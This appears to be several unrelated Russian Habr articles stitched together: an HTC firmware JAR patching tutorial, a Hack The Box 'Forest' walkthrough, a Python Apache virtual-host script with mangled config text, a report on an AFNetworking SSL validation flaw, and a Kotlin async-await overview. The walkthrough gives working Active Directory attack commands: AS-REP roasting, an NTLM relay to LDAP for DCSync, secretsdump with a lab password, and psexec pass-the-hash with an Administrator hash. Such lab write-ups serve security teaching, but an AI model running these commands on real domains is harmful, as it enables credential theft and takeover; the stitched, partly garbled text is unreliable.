Оказалось все просто. Есть подпрограмма, которая на основе заранее установленных констант, при обращении отвечала, относится ли телефон к Китаю или же нет.
Код находился в файле *HTCExtension.jar*, а класс, который содержал данную подпрограмму находился в *\com\htc\util\contacts\BuildUtils$Customization.java*
###### Распаковка и анализ оригинального файла
**1**. Сперва нам надо взять оригинальный DEODEX JAR файл, который отвечает за нужную нам часть кода. В нашем случае *HTCExtension.jar*.
**2**. Открыть любым архиватором и вытащить от туда classes.dex
**3**. С помощью конвертера dex2jar преобразовать его в JAR файл. Команда: `dex2jar.bat classes.dex`
**4**. Открыть полученный classes\_dex2jar.jar файл в JD-GUI.
**5**. Да, чаще всего JD-GUI декомпилирует код не так как он выглядит в оригинале, оно и понятно, но читать вполне можно. В исходнике мы видим, что подпрограмма проверяет параметры проекта и языковой флаг прошивки. В нашем прискорбном случае возвращается значение TRUE.
```
public static boolean isChina()
{
if ((HtcBuildFlag.Htc_PROJECT_flag == 216) || (HtcBuildFlag.Htc_PROJECT_flag == 218) || (HtcBuildFlag.Htc_PROJECT_flag == 23));
while (((HtcBuildFlag.Htc_PROJECT_flag == 1) && (2 == HtcBuildFlag.Htc_LANGUAGE_flag)) || (HtcBuildFlag.Htc_PROJECT_flag == 27))
return true;
return false;
}
```
**6**. Чтобы сделать патч, нам надо дизассемблировать сам Dalvik код. Для этого используем baksmali. Удобнее всего создать отдельную папку и положить туда три файла вместе: *HTCExtension.jar*, *smali.jar* и *baksmali.jar*. Даем команду ````java -Xmx512m -jar baksmali.jar -a -d -o HTCExtension -x HTCExtension.jar
- это API вашей версии Android. Для JB - это 16
- папка, где находятся все фреймворки прошивки.
В моем случае это была команда
java -Xmx512m -jar baksmali.jar -a 16 -d S:\dev\Android\Android-Kitchen\WORKING_JB_15\system\framework -o HTCExtension -x HTCExtension.jar`
**7**. В нашей вновь созданной папке появилась папка HTCExtension, а в ней наши файлы с Dalvik кодом.
**8**. Отыскиваем файл по пути *\com\htc\util\contacts\BuildUtils$Customization.java* и смотрим код:
```
.method public static isChina()Z
.registers 3
.prologue
const/4 v0, 0x1
.line 276
sget-short v1, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_PROJECT_flag:S
const/16 v2, 0xd8
if-eq v1, v2, :cond_13
sget-short v1, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_PROJECT_flag:S
const/16 v2, 0xda
if-eq v1, v2, :cond_13
sget-short v1, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_PROJECT_flag:S
const/16 v2, 0x17
if-ne v1, v2, :cond_14
.line 297
:cond_13
:goto_13
return v0
.line 283
:cond_14
sget-short v1, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_PROJECT_flag:S
if-ne v1, v0, :cond_1d
.line 285
const/4 v1, 0x2
sget-short v2, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_LANGUAGE_flag:S
if-eq v1, v2, :cond_13
.line 291
:cond_1d
sget-short v1, Lcom/htc/htcjavaflag/HtcBuildFlag;->Htc_PROJECT_flag:S
const/16 v2, 0x1b
if-eq v1, v2, :cond_13
.line 297
const/4 v0, 0x0
goto :goto_13
.end method
```
**9**. Страшно, не правда ли? Ничего же не понятно. Но, это дело поправимое. Создав несколько своих патчей и набив тем самым руку, вы легко сможете модифицировать код без сторонних средств. В нашем случае, в этом коде
```
.prologue
const/4 v0, 0x1
```
происходит присваивание переменной v0 значение 1, то есть TRUE. Далее идут всякие проверки, и если телефон не китайский, то значение переменной изменяется:
```
.line 297
const/4 v0, 0x0
goto :goto_13
```
**10**. Самый простой способ спасти отца русской демократии, это изменить код на следующий:
```
.prologue
const/4 v0, 0x0
```
, то есть поменять значение переменной с 1 на 0. То есть что бы ни было, всегда бы возвращалось значение FALSE и в JD-GUI код выглядел бы как
```
public static boolean isChina()
{
if ((HtcBuildFlag.Htc_PROJECT_flag == 216) || (HtcBuildFlag.Htc_PROJECT_flag == 218) || (HtcBuildFlag.Htc_PROJECT_flag == 23));
while (((HtcBuildFlag.Htc_PROJECT_flag == 1) && (2 == HtcBuildFlag.Htc_LANGUAGE_flag)) || (HtcBuildFlag.Htc_PROJECT_flag == 27))
return false;
return false;
}
```
**11**. Да, метод ,будет работать. Но мы же не ищем легких путей - это раз. Во-вторых не совсем красиво. Хочется кода что-то вроде
```
public static boolean isChina()
{
return false;
}
```
**12**. А как нам получить Dalvik код данного исходного кода? Для новичков мы сделаем небольшой трюк.
###### Создание Dalvik кода
**1**. Открываем Android SDK.
**2**. Создаем новый проект, и в наш единственный тестовый класс пишем следующий код
```
package ru.habrahabr.test;
public class test
{
public static boolean isChina()
{
return false;
}
}
```
**3**. Компилируем наш проект и затем берем собранное приложение из рабочей области.
**4**. Кладем собранное приложение в папку, где мы с вами потрошили JAR файл.
**5**. Даем команду ````
java -Xmx512m -jar baksmali.jar -a -d -o test -x test .apk
**6**. Мы дизассемблировали только что собранное приложение в Dalvik код.
**7**. Открываем наш файлик test.smali и видим там код
.method public static isChina()Z
.registers 1
.prologue
.line 7
const/4 v0, 0x0
return v0
.end method
```
**8**. Все, код для патчинга готов.
###### Накатывание патча
**1**. Dalvik код замусорен маркерами, указывающими строку кода в оригинальном исходном файле. Это нужно при выводе ошибок, если таковые имеются в вашей программе. Без указаний строк код также прекрасно работает.
**2**. Удаляем строки с нумерацией строк, копируем и заменяем метод (подпрограмму) в нашем *\com\htc\util\contacts\BuildUtils$Customization.java* файле.
```
.method public static isChina()Z
.registers 1
.prologue
const/4 v0, 0x0
return v0
.end method
```
**3**. Сохраняем файл. Да, забыл сказать, редактор нужен нормальный, например Notepad++ или EditPlus. Кому какой нравится.
###### Компиляция и сборка патченного JAR файла
**1**. С помощью backsmali мы распотрошили наш JAR файл, а теперь его надо собрать обратно.
**2**. Даем команду `java -Xmx512m -jar smali.jar -a 16 HTCExtension -o classes.dex`
**3**. В нашей папочке появляется файлик `classes.dex`
**4**. Снова открываем *HTCExtension.jar* файл архиватором и заменяем в нем существующий *classes.dex* на наш только что созданный.
**5**. Все, наш *HTCExtension.jar* содержит модифицированный программный код.
###### Замена оригинального файла на патченный
Обычно, для рядовых пользователей создаются специальные скрипты, которые через recovery заменяются. Но нам такое не интересно. Во-первых долго и нудно, во-вторых мы же опытные пользователи и можем себе позволить некоторые тонкости.
**1**. Заменить текущий рабочий файл можно следующими командами, если у вас уже стоит DEODEX прошивка и имеется root доступ:
```
adb push HTCExtension.jar /sdcard/HTCExtension.jar
adb shell
su
mount -o remount -rw /system
dd if=/system/framework/HTCExtension.jar of=/system/framework/HTCExtension.jar.back
dd if=/sdcard/HTCExtension.jar of=/system/framework/HTCExtension.jar
chmod 644 /system/framework/HTCExtension.jar
rm /data/dalvik-cache/system@framework@HTCExtension.jar@classes.dex
reboot
```
1-ая команда закидывает патченный файл на флешку
2-ая команда открывает shell
3-ая команда дает root доступ
4-ая команда монтирует систему в режим чтения/записи
5-ая команда делает резервную копию файла
6-ая команда перезаписывает существующий файл новым патченным.
7-ая команда настраивает разрешения
8-ая команда удаляет кэш
9-ая команда делает перезагрузку устройства.
**2**. Спасибо что дочитали до этого пункта, осталось немного.
**3**. После перезагрузки ваш новый патченный код вступит в силу.
**4**. Если код не работает или выскакивает ошибка, то путем не хитрых комбинаций можно вернуть назад резервную копию.
```
adb shell
su
mount -o remount -rw /system
dd if=/system/framework/HTCExtension.jar.back of=/system/framework/HTCExtension.jar
rm /data/dalvik-cache/system@framework@HTCExtension.jar@classes.dex
reboot
```
#### Эпилог
Да, кому-то показалось данная статья слишком специфичной, кому-то мало-понятной, а кому-то бесполезной. Я специально обошелся без углубленной детализации и иллюстраций как это все выглядит в живую и на практике. Во-первых, данный труд будет неблагодарный и только породить еще больше вопросов. Во-вторых, не хочу видеть армию пользователей на форумах, которые жалуются, что убили свой телефон.
К следующей статье я расскажу как делать Твики. Будет пример использования автоматической записи телефонных звонков родными средствами телефона. Спасибо за ваше внимание.
P.S. Если что-то не понятно или смущает, задавайте вопросы - всегда буду рад ответить и пояснить.```` | https://habr.com/ru/post/181826/ | null | ru | null |
# Hack The Box — прохождение Forest. AS-REP Roasting, атаки DCSync и Pass-The-Hash
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье разберемся с AS-REP Roasting в схеме аутентификации Kerberos, используем BloodHound для разведки в домене, выполняем атаку DCSync PrivExchange и атаку Pass-The-Hash.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
**Организационная информация**Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.161, который я добавляю в /etc/hosts.
`10.10.10.161 forest.htb`
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
```
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000
```
На хосте оказалось очень много открытых портов, и я решил удостовериться правильности результатов, предоставленных masscan. Для этого просто просканировал состояние портов в nmap.
```
nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714
```
Но nmap все подтвердил. Далее нужно собрать больше информации об известных nmap’у портах.
```
nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001
```
Далее необходимо получить как можно больше информации из системы. Для этого я использовал enum4linux. Но он нам выдал мало информации. Группы, требование к паролям, отсутствие SMBv1 и расшаренных ресурсов и т.п. Однако мы получили список пользователей.
```
enum4linux -a 10.10.10.161
```
Так как на хосте работает керберос, необходим проверить, есть ли такая учетная запись пользователя, у которой в UAC установлен флаг DONT\_REQ\_PREAUTH. Про флаги UAC и что они означают, можно подробно узнать [здесь](http://winitpro.ru/index.php/2018/05/14/convertaciya-atributa-useraccountcontrol-v-ad/). Флаг DONT\_REQ\_PREAUTH означает, что для данной учетной записи не требуется предварительная проверка подлинности Kerberos.
Для начала следует узнать, какие из учетных записей пользователей активны. Это поможет сделать скрипт samrdump входящий в состав пакета impacket.
```
impacket-samrdump forest.htb
```
Скрипт выводит сначала всех пользователей, а затем подробную информацию о каждом из них. Так можно наблюдать, что учетная запись Administrator активна, а Guest — нет. Теперь мы можем составить список активных пользователей.
Когда у нас есть список активных пользователей, мы можем проверить наличие нужного нам флага. Это мы можем сделать с помощью скрипта GetNPUsers, также входящего в состав пакета impacket. Мы указываем домен htb.local, контроллер домена 10.10.10.161, способ аутентификации керберос(-k), опция без пароля и список пользователей.
```
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt
```
Нам говорят, что данный флаг у всех пользователей, кроме svc-alfresco не установлен. В моей версии impacket (21-dev) хеш запрашивается автоматически.
Entry Point — AS-REP Roasting
-----------------------------
Пару слов о том, что за хеш нам вернули. Внизу представлена схема аутентификации Керберос.
Как можно видеть, на первом этапе: клиент посылает сообщение c идентификатором пользователя на сервер аутентификации AS с запросом услуги от имени пользователя. AS генерирует секретный ключ путем хэширования пароля пользователя, найденного в базе данных.
Таким образом мы можем пробрутить хеш и узнать пароль. Данный вид атаки называется AS-REP Roasting. Сохраним хеш в файл и найдем прообраз.
```
john --wordlist=./rockyou.txt hashes2.txt
```
И мы находим пароль пользователя.
USER
----
Если вернуться к открытым портам, можно обнаружить работающую службу WinRM (или Windows Remote Management), предназначенную для удаленного управления. У нас есть логин и пароль пользователя, поэтому мы можем спокойно подключиться к ней. Для этого я использую [evil-winrm](https://github.com/Hackplayers/evil-winrm).
Таким образом мы берем юзера.
ROOT
----
### Разведка с BloodHound
Теперь нам нужно повысить себе привилегии. Для того, чтобы наметить пути LPE в домене, можно использовать программу [BloodHound](https://github.com/BloodHoundAD/BloodHound).
Evil-winrm позволяет загружать файлы как на хост, так и с него. Я загрузил на хост SharpHound — модуль для сбора информации.
Также evil-winrm позволяет выполнять powershell скрипты. Укажем пользователя, пароль, а также то, что мы хотим узнать все, что можно.
После выполнения скрипта, в текущей директории появится zip-архив. Его мы загружаем с хоста.
Далее запустим графовую СУБД neo4j, с которой работает BloodHound.
```
neo4j console
```
Теперь запустим BloodHound. Нас встретит пустой экран.
Теперь просто перетаскиваем в него скачанный архив. И переходим на вкладку Queries.
И говорим, что хотим найти кратчайшие пути к Админам домена. BloodHound построит граф — путь нашего последовательного продвижения. Нажимая на каждый узел сети, будем получать о нем информацию.
Таким образом, нам говорят, что мы должны стать членом группы Exchange Windows Permissions, так как относимся с привилегированной группе Service Accounts, а только потом мы можем повышать привилегии.
```
net user svc-alfresco
```
Сейчас пользователь не входит в данную группу. Давайте добавим его, а потом проверим группы пользователя.
```
Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco
```
Пользователь успешно добавлен в группу. Теперь разберемся, что это нам дает. Группа Exchange Windows Permissions обладает правом WriteDACL (право на выдачу прав) на объект Domain в Active Directory, что позволяет любому участнику группы изменять привилегии домена, в том числе на выполнение DCSync операций.
### DCSync
Немного об атаке DCSync. Репликация Active Directory — это процесс, посредством которого изменения, внесенные на одном из контроллеров домена, синхронизируются с остальными контроллерами в домене. При получении необходимых разрешений мы можем инициировать запрос репликации, что позволит нам получить данные, хранящиеся в Active Directory, в том числе хэши паролей.
То есть мы можем синхронизировать хеши паролей пользователей Active Directory и под их именем авторизоваться в любом сервисе, использующем протоколы NTLM (разработанный Microsoft протокол сетевой аутентификации) или Kerberos. Атака предусматривает использование двух инструментов privexchange.py и ntlmrelayx.py из пакета impacket.
Первым делом запустим ntlmrelayx в режиме ретрансляции LDAP на контроллер домена с учетной записью svc-alfresco.
```
ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco
```
Все сервисы запущены и ожидают подключения. Теперь используем privex.
```
python privexchange.py 10.10.10.161 -ah наш_ip -d htb.local -u svc-alfresco -p s3rvice
```
И тут у меня полетела куча ошибок, покопавшись пару минут, было принято решение их не устранять. Можно перейти по ссылке выше в браузере и с учетными данными svc-alfresco пройти HTTP аутентификацию. В окне с ntlmrelayx увидим информацию о подключении.
Теперь выполним Атаку DCSync с помощью secretsdump.
```
secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc
```
Отлично. Мы смогли выполнить репликацию всех учетных записей.
### Атака Pass-the-hash
Данная атака позволяет атакующему авторизоваться на удалённом сервере, аутентификация на котором осуществляется с использованием протокола NTLM или LM.
В системах, использующих протокол аутентификации NTLM, пароли никогда не передаются по каналу связи в открытом виде. Вместо этого они передаются соответствующей системе (такой, как контроллер домена) в виде хешей на этапе ответа в схеме аутентификации вопрос-ответ.
Приложения Windows запрашивают у пользователя пароль в открытом виде, а затем вызывают API (например, LsaLogonUser), которые преобразуют пароль в LM хеш и NTLM хеш и передают их в процессе аутентификации. Анализ протоколов показал, что для успешной аутентификации не обязательно знать пароль в открытом виде, вместо этого может использоваться только его хеш.
В основе атаки лежит слабость в реализации протокола сетевой аутентификации. Она заключается в том, что хеши паролей передаются без использования соли, а потому остаются неизменными от сессии к сессии (до тех пор, пока не изменяется пароль пользователя). Другими словами, для атакующего хеши паролей эквивалентны самим паролям.
Выполним атаку с помощью psexec.
```
psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161
```
Мы в системы с полными правами.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/493478/ | null | ru | null |
# Создание виртуальных хостов в apache под Linux на Python
Занимаюсь разработкой сайтов и всякие эксперименты и основную разработку делаю на локальном компьютере под Debian. В следствии того, что приходилось постоянно ручками создавать виртуальные хосты пришлось поставить себе цель автоматизировать процесс.
Первый делом двинулся я в просторы интернета в поисках необходимого решения, которое должно было обладать простотой и выполнять всего 2 задачи: добавлять виртуальный хост и удалять его. Мне удобно пользоваться консолью, поэтому и приложение должно было быть консольным. Но все варианты которые нашел имели большое количество ненужного функционала, кроме того почти все они предоставляли web интерфейс, которым я просто не хотел пользоваться.
В результате были поставлены цели:
— написать свой простенький скрипт, который создавал все то, что мне нужно;
— в качестве языка разработке я выбрал python, т.к. давно искал повод на нем учится писать.
**Update (08.09.11 20:25):** учитывая ошибки в комментариях немного исправил скрипт. Начал использовать optparse, сократил использование .write.
В результате я получил полностью удовлетворяющий меня скрипт ~~под катом~~.
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
###
# Скрипт предназначен для легкого управления локальными доменами
###
import os, sys, re, shutil, string, pwd, grp, stat
from optparse import OptionParser
# Проверяем права администратора, если нет, то выводим предупреждение
# т.к. правка системных файлов не возможно без соответствующих прав доступа
# и приведет к ошибкам
if os.getuid()!=0:
sys.exit ("\033[31mСкрипт должен работать с правами администратора!\033[0m");
# Название скрипта
sname=os.path.basename(__file__);
def main():
parser = OptionParser(usage="usage: %prog [options] [add|drop] domain",
version="%prog 1.0")
parser.add_option("-d", "--dir_site", default="/home/alen/domains/",
metavar="/home/alen/domains/", help=u"Директория для домена.");
parser.add_option("-a", "--apache_bin", default="/etc/init.d/apache2",
metavar="/etc/init.d/apache2", help=u"Бинарник apache для рестарта.");
parser.add_option("-c", "--apache_config_site",
default="/etc/apache2/sites-enabled/", metavar="/etc/apache2/sites-enabled/",
help=u"Директория sites-enabled от apache для настроек virtualhost.");
parser.add_option("-t", "--host", default="/etc/hosts", metavar="/etc/hosts",
help=u"Системный файл hosts для внесения информации о домене.");
parser.add_option("-i", "--ip", default="127.0.0.1", metavar="127.0.0.1",
help=u"IP для сайта");
parser.add_option("-e", "--a2ensite", default="a2ensite", metavar="a2ensite",
help=u"enable an apache2 site / virtual host");
(options, args) = parser.parse_args();
if len(args)!=2 or not args[0] in {"add":1,"drop":2}:
parser.error(sname+" -h");
return {"options":options,"args":args};
conf=main();
options=conf['options'];
# Получаем группу и пользователя права которого будут для папки
# Возьмем их из папки в которую все сложим: dir_site
stat_info = os.stat(options.dir_site);
options.uid = stat_info.st_uid;
options.gid = stat_info.st_gid;
options.user = pwd.getpwuid(options.uid)[0];
options.group = grp.getgrgid(options.gid)[0];
# Функция удаления строки из файла
def remove_string(filename, string):
rst = [];
with open(filename) as fd:
t = fd.read();
for line in t.splitlines():
if line != string:
rst.append(line);
with open(filename, 'w') as fd:
fd.write('\n'.join(rst))
fd.write('\n')
def apache_site_config(name):
file_name=options.apache_config_site+name;
dir_site=options.dir_site+name;
f = open(file_name,"w+");
print >> f, '\n\n'+\
'DocumentRoot '+ dir\_site +'/www\n'+\
'ServerAlias www.'+name+'\n'+\
'ServerName '+name+'\n'+\
'ScriptAlias /cgi-bin/ '+dir\_site+'/www/cgi-bin/\n\n'+\
'\n'+\
'\tAllowOverride All\n'+\
'\tOrder Deny,Allow\n'+\
'\tAllow from all\n'+\
'\tOptions All\n'+\
'\n\n'+\
'\n'+\
'\tAllowOverride None\n'+\
'\tOptions +ExecCGI -MultiViews +SymLinksIfOwnerMatch\n'+\
'\tOrder allow,deny\n'+\
'\tAllow from all\n'+\
'\n\n'+\
'\n'+\
'\tDirectoryIndex index.php index.html index.cgi\n'+\
'\n\n'+\
'#SuexecUserGroup '+options.user+' '+options.group+'\n'+\
'ErrorLog \"'+ dir\_site +'/log/error.log\"\n'+\
'CustomLog \"'+ dir\_site +'/log/access.log\" combined\n'+\
'LogLevel warn\n\n'+\
'';
f.close();
# Функция добавления домена
def add_domain(name):
dir_site=options.dir_site+name;
if os.path.exists(dir_site):
sys.exit("Сайт "+name+" не может быть записан в "+dir_site);
elif os.path.exists(options.apache_config_site+name):
sys.exit(options.apache_config_site+name+" - Занят конфигурационный файл!");
else:
os.makedirs(dir_site+"/");
os.makedirs(dir_site+"/www/");
os.makedirs(dir_site+"/www/cgi-bin/");
os.makedirs(dir_site+"/log/");
f = open(dir_site+"/www/index.php","a+");
f.write('php\nphpinfo();');
f.close();
f = open(dir_site+"/www/cgi-bin/index.cgi","a+");
print > f,'#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'+\
'import cgitb\ncgitb.enable()\n\n'+\
'print "Content-Type: text/plain;charset=utf-8"\n'+\
'print\n\nprint "Hello World!"';
f.close();
os.system("chown -R "+options.user+":"+options.group+" "+dir_site);
os.chmod(dir_site+"/www/cgi-bin/index.cgi", 0755);
apache_site_config(name);
f = open(options.host,"a+");
f.write("\n"+options.ip+"\t"+name+"\twww."+name);
f.close();
f = open(dir_site+"/www/.htaccess","a+");
f.write("AddDefaultCharset UTF-8");
f.close();
os.system(options.a2ensite+" "+name);
os.system(options.apache_bin+" restart");
sys.exit("\033[31mДомен http://"+name+" успешно создан\033[0m");
pass;
# Функция удаления домена
def drop_domain(name):
dir_site=options.dir_site+name;
if os.path.exists(dir_site):
shutil.rmtree(dir_site);
if os.path.exists(options.apache_config_site+name):
os.unlink(options.apache_config_site+name);
remove_string(options.host, options.ip+"\t"+name+"\twww."+name);
os.system(options.apache_bin+" restart");
sys.exit("\033[31mУпоминания о домене "+name+" удалены!\033[0m");
pass;
if conf["args"][0] in {"add":1,"drop":2} and \
re.compile('^[-\w.]{3,}$').match(conf["args"][1]):
if conf["args"][0]=='add':
add_domain(conf["args"][1]);
else:
drop_domain(conf["args"][1]);
else:
sys.exit("\033[31mКоманды \"" + conf["args"][0] + "\" не существует!\033[0m");
```
##### Примечания к скрипту
В связи с предназначением скрипта, он запускается под root`om или через sudo.
Мини инструкция, для тех кто не дойдет до **-help**:
Usage: script [options] [add|drop] domain
В опциях изменяются настройки для работы скрита.
Во время добавления либо удаления домена:
— вносится изменение в hosts файл, для внесении информации о домене;
— в директориях переданных через *dir\_site* создаются необходимые файлы и папки для нашего домена;
— в директории указанной в *apache\_config\_site* создается файл с конфигурацией virtualhost для apache.
##### Пользуясь моментом
В связи с тем, что это мой первый опыт написания Python скрипта, очень хочу, чтоб максимально критически отнеслись к моим ошибкам или к неправильному подходу (особенно благодарен буду за ~~поджопник~~ пинок в нужное направление). | https://habr.com/ru/post/127996/ | null | ru | null |
# Ошибка в коде AFNetworking позволяет перехватывать HTTPS трафик пользователей
В одном из самых популярных фреймворков для работы с сетью в iOS и OS X системах была найдена критическая уязвимость. Под прицелом специалистов из Minded Security оказался [AFNetworking](https://github.com/AFNetworking/AFNetworking), а именно версия 2.5.1.
В методе evaluateServerTrust (файл AFSecurityPolicy.m) происходит логика проверки SSL-сертификата.
```
- (BOOL)evaluateServerTrust:(SecTrustRef)serverTrust
forDomain:(NSString *)domain
{
NSMutableArray *policies = [NSMutableArray array];
if (self.validatesDomainName) {
[policies addObject:(__bridge_transfer id)SecPolicyCreateSSL(true, (__bridge CFStringRef)domain)];
} else {
[policies addObject:(__bridge_transfer id)SecPolicyCreateBasicX509()];
}
SecTrustSetPolicies(serverTrust, (__bridge CFArrayRef)policies);
if (self.SSLPinningMode != AFSSLPinningModeNone &&
!AFServerTrustIsValid(serverTrust) &&
!self.allowInvalidCertificates) {
return NO;
}
NSArray *serverCertificates = AFCertificateTrustChainForServerTrust(serverTrust);
switch (self.SSLPinningMode) {
case AFSSLPinningModeNone:
return YES;
```
По умолчанию SSLPinningMode выставлен в AFSSLPinningModeNone, что полностью отключает проверку сертификата. Благодаря этому становится возможен [SSL MITM](https://ru.wikipedia.org/wiki/%D0%A7%D0%B5%D0%BB%D0%BE%D0%B2%D0%B5%D0%BA_%D0%BF%D0%BE%D1%81%D0%B5%D1%80%D0%B5%D0%B4%D0%B8%D0%BD%D0%B5).
Данный фреймворк достаточно популярен. Его используют такие приложения как Pinterest, Heroku, Citrix OpenVoice Audio Conferencing, Alibaba и другие.
После публикации деталей уязвимости были проведены проверки других приложений из AppleStore. Результаты неутешительные. 1500 приложений оказались под управлением «дырявой» версии AFNetworking.
Следом был запущен сервис для проверки приложений на наличие уязвимости: [searchlight.sourcedna.com/lookup](http://searchlight.sourcedna.com/lookup)
В версии 2.5.2 бага частично закрыта, но по-прежнему присутствует обход валидации сертификата из-за отсутствия проверки хоста.
Ссылки по теме:
[SSL MiTM attack in AFNetworking 2.5.1 — Do NOT use it in production!](http://blog.mindedsecurity.com/2015/03/ssl-mitm-attack-in-afnetworking-251-do.html)
[1,500 iOS apps have HTTPS-crippling bug. Is one of them on your device?](http://arstechnica.com/security/2015/04/20/1500-ios-apps-have-https-crippling-bug-is-one-of-them-on-your-device/)
[AFNetworking на Хабре](http://habrahabr.ru/search/?q=AFNetworking) | https://habr.com/ru/post/257163/ | null | ru | null |
# Беглый взгляд на Async-Await в Android
##### От переводчика
*Это мой первый перевод, поэтому прошу прощения за неточности. Если вы найдете ошибки в переводе, пожалуйста, сообщите об этом. Я не нашел лучшего перевода слова **[сoroutine](https://en.wikipedia.org/wiki/Coroutine)**, чем **[сопрограмма](https://ru.wikipedia.org/wiki/Сопрограмма)**, поэтому решил использовать оригинал. Если у вас появятся идеи по этому поводу, буду рад узнать.*
Kotlin версии 1.1 принесет в язык [coroutin'ы](https://github.com/Kotlin/kotlin-coroutines), которые позволяют приостанавливать вычисления в какой-то точке, а затем продолжить их позднее. Очевидный пример этой возможности — [async-await](http://blog.stephencleary.com/2012/02/async-and-await.html), который был добавлен в C# несколько лет назад.
Каждый android разработчик знает, что когда мы имеем дело с сетевыми запросами или другими I/O задачами, то нам необходимо удостовериться, что не происходит блокировка основного потока, а так же, что мы не трогаем UI из фонового потока. На протяжении многих лет приходят и уходят десятки приемов. В этой статье перечислены наиболее популярные, и показаны примеры удобства, которое несет с собой async-await.
Сценарий
--------
Мы хотим получить данные пользователя Github и положить их в базу данных, а после показать результат на экране. Я не стал объяснять подходы, они скажут всё сами за себя.
#### Старый добрый Thread
*Ручное управление, полный контроль*
```
fun threads() {
val handler = Handler()
Thread {
try {
val user = githubApi.user()
userRepository.store(user)
handler.post {
threadsTV.text = "threads: [$user]"
}
} catch(e: IOException) {
handler.post {
threadsTV.text = "threads: [User retrieval failed.]"
}
}
}.start()
}
```
#### AsyncTask андроида
Никто же их не использует больше, верно?
```
fun asyncTask() {
object : AsyncTask() {
private var exception: IOException? = null
override fun doInBackground(vararg params: Unit): GithubUser? {
try {
val user = githubApi.user()
userRepository.store(user)
return user
} catch(e: IOException) {
exception = e
return null
}
}
override fun onPostExecute(user: GithubUser?) {
if (user != null) {
asyncTaskTV.text = "asyncTask: [$user]"
} else {
asyncTaskTV.text = "asyncTask: [User retrieval failed.]"
}
}
}.execute()
}
```
#### Callbacks
*А Callback-hell кто-ниубдь использует?*
```
fun callbacks() {
githubApi.userFromCall().enqueue(object : Callback {
override fun onResponse(call: Call, response: Response) {
val user = response.body()
userRepository.storeCallback(user) {
callbacksTV.text = "callbacks: [$user]"
}
}
override fun onFailure(call: Call, t: Throwable) {
if (t is IOException)
callbacksTV.text = "callbacks: [User retrieval failed.]"
else
throw t
}
})
}
```
#### Rx
*Предоставляет крутые вещи...*
```
fun rx() {
githubApi.userRx()
.flatMap { user ->
userRepository.storeRx(user).toSingle { user }
}
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
{ user ->
rxTV.text = "rx: [$user]"
},
{ throwable ->
if (throwable is IOException)
rxTV.text = "rx: [User retrieval failed.]"
else
throw throwable
}
)
}
```
#### Async-Await
*А как вы смотрите на это?*
```
fun asyncAwait() = asyncUI {
try {
val user = await(githubApi.userAsync())
await(userRepository.storeAsync(user))
asyncAwaitTV.text = "asyncAwait: [$user]"
} catch(e: IOException) {
asyncAwaitTV.text = "asyncAwait: [User retrieval failed.]"
}
}
```
Тут **asyncUI** (и аналогичный **async<Т>**) метод включет функционал coroutin'ы, который предоставляет доступ к методу **await**. Каждый раз, когда выполнение достигает метода **await**, вычисления приостанавливаются до тех пор, пока параметр не будет вычислен, но поток, в котором произошел вызов, не блокируется. После этого coroutine продолжит свое выполнение. Метод **asyncUI** гарантирует, что выполнение продолжится в главном потоке.
---
Как вы заметили, coroutine повышает читаемость кода. Они доступны уже сейчас в версии kotlin 1.1-M02. Последний пример async-await использует [библиотеку, которую я написал](https://github.com/nhaarman/AsyncAwait-Android) для возможности использования coroutines на Android. Если хотите больше узнать о coroutin'ах, то можете ознакомиться с [неформальным описанием](https://github.com/Kotlin/kotlin-coroutines/blob/master/kotlin-coroutines-informal.md)
**PS:** Эта статья не содержит отмены выполнений и удаления слушателей, которые могут содержать ссылки на активити. Каждый подход может иметь схожий вариант, но без утечек.
[В следующей статье](https://habrahabr.ru/post/314656/) я сделал более детальный разбор async-await. | https://habr.com/ru/post/314574/ | null | ru | null |
# LIVR — «независимые от языка правила валидации» или валидация данных без «проблем»
